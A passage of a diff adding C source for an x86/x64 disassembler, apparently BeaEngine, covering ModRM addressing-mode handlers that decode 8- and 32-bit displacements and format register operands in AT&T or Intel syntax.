BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[10]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[2+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[2]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[2]; + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[10]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[2+8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[2]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[2]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BPSI_); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) MyNumber); + #endif + } + } +} + +/* ======================================= + * ModRM_1 + * ======================================= */ +void __bea_callspec__ Addr_EBX_disp8(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+2)); + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[11]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[3]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3]; + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[11]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3+8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[3]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BPDI_); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) MyNumber); + #endif + } + } +} + +/* ======================================= + * + * ======================================= */ +void __bea_callspec__ Addr_SIB_disp8(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + if (!Security(2, pMyDisasm)) return; + if (GV.AddressSize >= 32) { + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+3)); + } + else { + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+2)); + } + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) MyNumber); + #endif + } + /*#ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); +#endif + *i+=2; */ + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize >= 32) { + GV.DECALAGE_EIP++; + GV.BASE_ = (*((UInt8*)(UIntPtr) (GV.EIP_+2))) & 0x7; + GV.SCALE_ = ((*((UInt8*)(UIntPtr) (GV.EIP_+2))) & 0xc0) >> 6; + GV.INDEX_ = ((*((UInt8*)(UIntPtr) (GV.EIP_+2))) & 0x38) >> 3; + j = i; + i += SIB[GV.SCALE_ ](pMyArgument, j, pMyDisasm); + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic, Registers16Bits[6]); + #endif + i += strlen (Registers16Bits[6]); + } + + if (GV.SYNTAX_ == ATSyntax) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + #endif + i++; + } + else { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) MyNumber); + #endif + } + } + +} + +/* ======================================= + * ModRM_1 + * ======================================= */ +void __bea_callspec__ Addr_EBP_disp8(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+2)); + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[13]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[5+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[5]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[5]; + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[13]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[5+8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[5]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[5]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[7]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7]; + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) MyNumber); + #endif + } + } +} + +/* ======================================= + * ModRM_1 + * ======================================= */ +void __bea_callspec__ Addr_ESI_disp8(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+2)); + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[14]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[6]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6]; + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[14]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6+8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[6]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[6]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[5]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[5]; + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) MyNumber); + #endif + } + } +} + +/* ======================================= + * ModRM_1 + * ======================================= */ +void __bea_callspec__ Addr_EDI_disp8(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + MyNumber = *((Int8*)(UIntPtr) (GV.EIP_+2)); + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.2X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[15]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[7]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7]; + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[15]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7+8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[7]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[7]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers16Bits[3]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3]; + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.2X",(Int64) MyNumber); + #endif + } + } +} + +/* ======================================= + * ModRM_2 + * ======================================= */ +void __bea_callspec__ Addr_EAX_disp32(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + if (GV.AddressSize == 16) { + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+2)); + } + else{ + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+2)); + } + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i ++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + j = i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[0]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[0]; + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[8]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[0]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[0]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BXSI_); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) MyNumber); + #endif + } + } +} + + +/* ======================================= + * ModRM_2 + * ======================================= */ +void __bea_callspec__ Addr_ECX_disp32(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + if (GV.AddressSize == 16) { + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+2)); + } + else{ + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+2)); + } + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i ++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + j = i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[9]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[1+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[1]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[1]; + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[9]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[1+8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[1]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[1]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BXDI_); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) MyNumber); + #endif + } + } +} + +/* ======================================= + * ModRM_2 + * ======================================= */ +void __bea_callspec__ Addr_EDX_disp32(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + if (GV.AddressSize == 16) { + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+2)); + } + else{ + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+2)); + } + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i ++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + j = i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[10]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[2+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[2]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[2]; + } + } + else if (GV.AddressSize == 32) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[10]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[2+8]; + + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers32Bits[2]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[2]; + } + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, BPSI_); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + i = strlen ((char*) &(*pMyArgument).ArgMnemonic); + if (GV.SYNTAX_ == ATSyntax) { + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, ")"); + i += 1; + } + else { + #else + if(1) { + #endif + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "+"); + #endif + i++; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+i,"%.8X",(Int64) MyNumber); + #endif + } + } +} + +/* ======================================= + * ModRM_2 + * ======================================= */ +void __bea_callspec__ Addr_EBX_disp32(ARGTYPE* pMyArgument, PDISASM pMyDisasm) +{ + size_t i = 0, j; + long MyNumber; + if (GV.AddressSize == 16) { + MyNumber = *((Int16*)(UIntPtr) (GV.EIP_+2)); + } + else{ + MyNumber = *((Int32*)(UIntPtr) (GV.EIP_+2)); + } + (*pMyArgument).Memory.Displacement = MyNumber; + if (GV.SYNTAX_ == ATSyntax) { + if (MyNumber < 0) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "-"); + #endif + i ++; + j=i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) ~MyNumber+1); + #endif + } + else { + j = i; + #ifndef BEA_LIGHT_DISASSEMBLY + i+= CopyFormattedNumber(pMyDisasm, (char*) (*pMyArgument).ArgMnemonic+j,"%.8X",(Int64) MyNumber); + #endif + } + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy((char*) (*pMyArgument).ArgMnemonic+i, "(%"); + #endif + i+=2; + } + (*pMyArgument).ArgType = MEMORY_TYPE; + if (GV.AddressSize == 64) { + if (GV.REX.B_ == 1) { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[11]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3+8]; + } + else { + #ifndef BEA_LIGHT_DISASSEMBLY + (void) strcpy ((char*) (*pMyArgument).ArgMnemonic+i, Registers64Bits[3]); + #endif + (*pMyArgument).Memory.BaseRegister = REGS[3]; + } + } + else if (GV.AddressSize == 32) { + if 